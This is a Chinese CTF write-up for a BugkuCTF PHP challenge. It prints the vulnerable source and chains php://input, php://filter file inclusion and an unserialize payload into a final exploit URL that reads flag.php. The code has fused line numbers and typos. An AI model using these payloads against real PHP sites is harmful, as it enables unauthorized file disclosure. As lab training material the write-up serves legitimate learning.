右键get源码:
1 <?php2 $user = $_GET["txt"];3 $file = $_GET["file"];4 $pass = $_GET["password"];5
6 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){7 echo "hello admin!
";8 include($file); //hint.php
9 }else{10 echo "you are not admin ! ";11 }
刚开始我是远程在我服务器上写一个txt内容为"welcome to the bugkuctf"但是测试了好像是不行。既然不行又可写入数据的那就联想到了php伪协议当中的php://input
再回去看最开始的代码。如下第十行
是一个包含函数,也可以使用伪协议那就使用filter去读取当中文件吧。那就读取hint.php试试
BASE64解密得到如下代码:
1 <?php2
3 class Flag{//flag.php
4 public $file;5 public function__tostring(){6 if(isset($this->file)){7 echo file_get_contents($this->file);8 echo "
";9 return ("good");10 }11 }12 }13 ?>
很明显是一个反序列化读取的漏洞。但是好像没有可控的参数。但是有提示一个flag.php
然后直接构造去读取flag.php
然后继续尝试读取index.php
index.php代码如下:
1 <?php2 $txt = $_GET["txt"];3 $file = $_GET["file"];4 $password = $_GET["password"];5
6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){7 echo "hello friend!
";8 if(preg_match("/flag/",$file)){9 echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";10 exit();11 }else{12 include($file);13 $password = unserialize($password);14 echo $password;15 }16 }else{17 echo "you are not the number of bugku ! ";18 }19
20 ?>
21
22
由上代码可知:
file参数当中不允许出现flag
12-13行代码中可以看出。password可控.
整体思路就有了,那就是通过这个反序列化漏洞去读取flag.php
于是乎构造这个反序列化漏洞的POC如下:
1 <?php2 classFlag{3 public $file="php://filter/convert.base64-encode/resource=flag.php";4 public function__tostruct(){5 if(isset($this->file)){6 echo file_get_contents($this->file);7 }8 }9 }10 $o = newFlag();11 echo serialize($o);
第三行的时候我直接填写flag.php。又在此处被坑。
原因如下:
在刚才index.php代码中说file参数不能有flag,最后尝试才知道要读取flag。file还不能使用伪协议。既然不能用就没办法读取flag.php了,所以这个反序列化就要跟上伪协议,才能读取出flag.php
file参数不能为flag.php那就去尝试,最后尝试得出file参数为hint.php加上password参数的payload就可以getflag
依旧是base64加密的解密一下就好了。
最后还是把payload发出来吧。
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}